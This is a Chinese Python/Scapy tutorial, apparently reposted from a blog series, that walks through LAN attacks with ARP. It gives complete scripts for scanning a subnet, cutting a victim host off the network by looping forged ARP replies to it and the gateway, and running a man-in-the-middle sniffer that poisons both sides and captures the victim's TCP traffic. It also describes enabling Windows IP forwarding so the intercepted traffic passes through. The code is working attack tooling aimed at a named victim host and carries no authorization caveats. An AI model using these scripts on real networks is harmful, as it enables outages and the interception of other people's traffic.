首页 > 编程语言 >21.6 Python 构建ARP中间人数据包

21.6 Python 构建ARP中间人数据包

时间:2023-11-07 13:23:25浏览次数:46  
标签:ARP 21.6 target ip args 主机 数据包

ARP中间人攻击(ARP spoofing)是一种利用本地网络的ARP协议漏洞进行欺骗的攻击方式,攻击者会向目标主机发送虚假ARP响应包,使得目标主机的ARP缓存中的IP地址和MAC地址映射关系被篡改,从而使得目标主机将网络流量发送到攻击者指定的虚假MAC地址。攻击者可以在不被发现的情况下窃取目标主机的网络流量、信息等,也可以进行其他的恶意行为,如中间人攻击、监听等。

首先我们来实现一个简单的ARP扫描功能,要实现ARP探测功能很容易,如下代码中我们分别封装实现两个函数,函数Parse_IP用于传入一个IP地址字符串自动生成该网段内的所有主机数,函数ARP_Scan则用于发送ARP数据包,在构造时直接使用ARP函数即可,构造后通过sr1将其发送出去并等待返回结果。

from scapy.all import *
import argparse
import threading,time
import logging

# 生成网段信息,例如输入: 192.168.1.1/20 生成1-20地址
def Parse_IP(targets):
    _split = targets.split('/')
    first_ip = _split[0]
    ip_split = first_ip.split('.')
    ipv4 = range(int(ip_split[3]),int(_split[1])+1)
    addr = [ ip_split[0]+'.'+ip_split[1]+'.'+ip_split[2]+'.'+str(p) for p in ipv4 ]
    return addr

# 通过ARP协议扫描局域网中在线的设备
def ARP_Scan(address):
    try:
        ret = sr1(ARP(pdst=address),timeout=5,verbose=False)
        if ret:
            if ret.haslayer('ARP') and ret.fields['op'] == 2:
                print('[+] IP地址: %-13s ==> MAC地址: %-15s' %(ret.fields['psrc'],ret.fields['hwsrc']))
    except Exception:
        exit(1)

if __name__ == "__main__":
    logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
    parser = argparse.ArgumentParser()
    parser.add_argument("-s","--scan",dest="scan",help="输入一个扫描网段")
    args = parser.parse_args()
    # 使用方式: main.py -s 192.168.1.1/100
    if args.scan:
        addr_list = Parse_IP(args.scan)
        for item in addr_list:
            threads = []
            t = threading.Thread(target=ARP_Scan,args=(item,))
            threads.append(t)
            t.start()
        for item in threads:
            item.join()
    else:
        parser.print_help()

上述代码通过指定-s并传入一个地址网段192.168.9.0/24则自动计算该网段主机数,并依次对主机进行存活检测,输出效果图如下所示;

当我们能够得到内网中特定主机的IP地址以及MAC地址后,则下一步就可以使用ARP断网攻击了,该攻击原理是攻击者在目标网络中发送虚假的ARP响应包,使得目标设备误认为网关的MAC地址已经更改为攻击者的MAC地址,导致目标设备无法正常访问外部网络,从而达到网络断网的目的。

读者在使用ARP断网之前还是需要通过ipconfig /all命令确定当前网卡的网卡名称,如下图所示网卡描述则是我们需要的东西;

接着来看一下如何实现ARP断网攻击的,断网攻击的核心在于SendPayLoad函数,该函数每次调用都将发送两个数据包,第一个数据包用于伪造网关欺骗目标计算机我是网关,第二个数据包用于伪造被欺骗计算机,用于向网关表明身份,有了这两个数据包并配合多线程发包则此时被攻击主机将会出现网络无法连接的情况。

from scapy.all import *
import argparse
import threading,time
import logging

# 创建并发送有效载荷
def SendPayload(Interface,srcMac,tgtMac,gateWayMac,gatewayIP,tgtIP):
    print("[+] 目标MAC: {} 目标IP: {} 发送: 2 packets".format(tgtMac,tgtIP))
    # 生成ARP数据包,伪造网关欺骗目标计算机
    sendp(Ether(src=srcMac,dst=tgtMac)/ARP(hwsrc=srcMac,psrc=gatewayIP,hwdst=tgtMac,pdst=tgtIP,op=2),iface=Interface)
    # 生成ARP数据包,伪造目标计算机欺骗网关
    sendp(Ether(src=srcMac,dst=gatewayMac)/ARP(hwsrc=srcMac,psrc=tgtIP,hwdst=gatewayMac,pdst=gatewayIP,op=2),iface=Interface)

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-i","--interface",dest="interface",help="输入接口名")
    parser.add_argument("-g","--gateway",dest="gateway",help="输入网关地址")
    parser.add_argument("-t","--target",dest="target",help="输入被害主机地址")
    args = parser.parse_args()

    # 使用方式: main.py -i "Intel(R) Ethernet Connection (7) I219-LM" -g 192.168.9.1 -t 192.168.9.10
    if args.gateway and args.target:
            srcMac = get_if_hwaddr(args.interface)                 # 通过接口名称获取本机MAC地址
            tgtMac = getmacbyip(args.target)                       # 通过IP地址获取目标计算机的MAC地址
            gatewayMac = getmacbyip(args.gateway)                  # 指定本机网段的网关MAC地址
            while True:
                t = threading.Thread(target=SendPayload,args=(args.interface,srcMac,tgtMac,gatewayMac,args.gateway,args.target))
                t.start()
                t.join()
                time.sleep(1)
    else:
        parser.print_help()

读者在调用时需要传入三个参数,首先通过-i传入网卡名称,接着通过-g指定当前网段内网关名称,使用-t用于指定被害主机地址,运行后如下图所示;

有了ARP断网接着就来实现ARP嗅探功能,针对断网攻击对于攻击者来说其实无法得到更多有用的数据,我们还是希望能够监控目标主机的数据包,并通过分析数据包得知一些特殊操作,为了实现这个功能,就需要改进断网程序让其具备嗅探的功能,要实现嗅探而不是断网则需要进行两步配置,首先需要开启注册表转发功能,此处可以输入命令regedit打开注册表编辑器,并在其中定位到:

  • HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/Tcpip/Parameters

选择下面的项目IPEnableRouter:REG_DWORD:0x0 找到项目鼠标右键修改数值为1至此即可开启主机的IP数据路由功能。

接着读者还需要打开系统服务菜单,并找到Routing And RemoteAccess数据包转发服务,此处如果没有打开请自行将其开启,当开启后我们的主机将会具备路由转发功能,这样即可实现模拟路由器的效果。

嗅探的原理很简单,如下是一个完整的数据包嗅探工具,其中createArp2Station函数用于生成伪造网关的数据包用于欺骗客户端,createArp2Gateway函数则用于伪造目标主机数据包并欺骗网关,当有了这两个函数,再配合sniff抓包即可实现数据包的捕获,如果读者需要自行分析数据包来往则可以自定义Packet_CallBack回调函数实现。

import sys,os,threading
import argparse
from scapy.all import *

# 生成ARP数据包,伪造网关欺骗目标计算机
def createArp2Station(interface,target_ip,gateway_ip):
    dst_Mac=str(getmacbyip(target_ip))
    self_Mac=str(get_if_hwaddr(interface))
    Ether_data=Ether(src=self_Mac,dst=dst_Mac) / ARP(op=2,hwsrc=self_Mac,psrc=gateway_ip,hwdst=dst_Mac,pdst=target_ip)
    try:
        sendp(Ether_data,inter=2,iface=interface,loop=1)
    except Exception as e:
        print("目标ARP数据发送失败!")

# 生成ARP数据包,伪造目标计算机欺骗网关
def createArp2Gateway(interface,target_ip,gateway_ip):
    dst_Mac = getmacbyip(gateway_ip)
    self_Mac = get_if_hwaddr(interface)
    Ether_data = None
    Ether_data = Ether(src=self_Mac, dst=dst_Mac) / ARP(op=2, hwsrc=self_Mac, psrc=target_ip, hwdst=dst_Mac, pdst=gateway_ip)
    try:
        sendp(Ether_data, inter=2,iface=interface,loop=1)
    except Exception as e:
        print("网关ARP数据发送失败!")

def Packet_CallBack(pkt):
    if pkt.haslayer(IP):
        if pkt.getlayer(IP).src != "127.0.0.1":
            ip_src = pkt.getlayer(IP).src
            ip_dst = pkt.getlayer(IP).dst
            print("源地址: {} ---> 目标地址: {}".format(ip_src,ip_dst))

if __name__ == "__main__":
    # 使用方式: main.py -i "Intel(R) Ethernet Connection (7) I219-LM" -g 192.168.9.1 -t 192.168.9.10
    parser = argparse.ArgumentParser()
    parser.add_argument("-i","--interface",dest="interface",help="输入网卡名称")
    parser.add_argument("-t","--target_ip",dest="target_ip",help="输入目标主机IP")
    parser.add_argument("-g","--gateway",dest="gateway",help="输入网关地址")
    args = parser.parse_args()
    if args.interface and args.target_ip and args.gateway:
        try:
            t1=threading.Thread(target=createArp2Station,args=(args.interface,args.target_ip,args.gateway))
            t1.setDaemon(True)
            t1.start()
            t2=threading.Thread(target=createArp2Gateway,args=(args.interface,args.target_ip,args.gateway))
            t2.setDaemon(True)
            t2.start()
            sniff(prn=Packet_CallBack,filter="tcp",iface=args.interface)
        except Exception:
            sys.exit(1)
        while True:
            pass
    else:
        parser.print_help()

读者可自行运行上述程序,并通过-i属性指定网卡名,通过-g属性指定网关地址,通过-t指定为被害主机地址,运行后读者即可看到被害主机的数据包流向信息,如下图所示;

此时被害主机的所有数据包都会经过我们的主机,读者可打开WireShark并启动抓包,此时输入输入不同的过滤语句,即可指定需要查看的数据包类型,此时我们就是实现了对特定主机的监控,当然这种监控数据包会掺杂我们自己的主机发出的,读者可自行编写过滤规则实现过滤;

标签:ARP,21.6,target,ip,args,主机,数据包
From: https://www.cnblogs.com/LyShark/p/17814771.html

相关文章

  • PostSharp使用步骤
    使用postsharp的意图:详细log记录,异常处理,鉴权验证。 步骤:1、下载postsharp的vs插件安装,并重启vs2、选中某项目,右键属性,有postsharp选项卡,点击‘add postsharp to this project’。 3、在以上项目写新建的日志异常处理类,并继承postsharp[Serializable][Attrib......
  • IP 数据包
    1.1字节=8BIT  这个请记住! 关于协议编号,稍微记一记:TCP/6,UDP/17ICMP-1IGMP-2TCP-6EGP-8IGP-9UDP-17IPv6-41ESP-40OSPF-89   2.待定 ......
  • Python 使用Scapy构造特殊数据包
    Scapy是一款Python库,可用于构建、发送、接收和解析网络数据包。除了实现端口扫描外,它还可以用于实现各种网络安全工具,例如SynFlood攻击,Sockstress攻击,DNS查询攻击,ARP攻击,ARP中间人等。这些工具都是基于构造、发送和解析网络数据包来实现的,可以用于模拟各种网络攻击,测试网络安全防......
  • 在Winform中通过LibVLCSharp回调函数获取视频帧
    参考资料:VlcVideoSourceProvider优点:实现视频流的动态处理。缺点:视频解码(CPU/GPU)后图像处理CPU占用率高。在Winform中通过LibVLCSharp组件获取视频流中的每一帧图像,需要设置回调函数,主要是SetVideoFormatCallbacks和SetVideoCallbacks,其定义如下所示:///<summary>///Setde......
  • nodejs 基于sharp + smartcrop 实现图片的智能提取排版
    属于一个简单的demo示例,主要是学习下sharp包对于图片的处理,以及基于smartcrop.js实现智能图片抠图结合sharp提供的图片组合能力,实现一个基于模版的图片组合,代码很简单简单任务描述就是有一个图片,我们需要智能的提取核心信息,并生成一个确定大小的图片,然后基于将生成的图片填......
  • 22. 从零用Rust编写正反向代理,一个数据包的神奇HTTP历险记!
    wmproxywmproxy已用Rust实现http/https代理,socks5代理,反向代理,静态文件服务器,四层TCP/UDP转发,内网穿透,后续将实现websocket代理等,会将实现过程分享出来,感兴趣的可以一起造个轮子项目地址国内:https://gitee.com/tickbh/wmproxygithub:https://github.com/tickbh/wmpro......
  • ARP 协议的工作过程
    ARP协议,AddressResolutionProtocol,地址解析协议,它是用于实现IP地址到MAC地址的映射。1、每台主机都会在自己的ARP缓冲区中建立一个ARP列表,以表示IP地址和MAC地址的对应关系;2、当源主机需要将一个数据包发送到目的主机时,会首先检查自己的ARP列表,是否存在该IP地址对应的MAC地址;如果......
  • 18.3 NPCAP自定义数据包过滤
    NPCAP库是一种用于在Windows平台上进行网络数据包捕获和分析的库。它是WinPcap库的一个分支,由Nmap开发团队开发,并在Nmap软件中使用。与WinPcap一样,NPCAP库提供了一些API,使开发人员可以轻松地在其应用程序中捕获和处理网络数据包。NPCAP库可以通过WinPcapAPI进行编程,因此现有的Win......
  • 什么是免费ARP?
    背景:最近有客户反应说自己家的网络被运营商IDC提醒说有gongji(不断的广播发包),原因:因为防火墙设备开启免费ARP功能,所以防火墙会向外网发ARP广播包。免费ARP报文是一种特殊的ARP报文,该报文中携带的发送端IP地址和目标IP地址都是本机IP地址,报文源MAC地址是本机MAC地址,报文的目的MAC地址......
  • csharp基础
    学习/csharp学习/csharpDay1;Day2:1.Solution:FirstProject2.Project:FirstProject3.C#file:FirstProject4.Class:FirstProject5.Classmember:a.Method:MyMethodb.LocalVariable:myVariablec.Globalvariable:MyVariableCommonmath:pow,abs......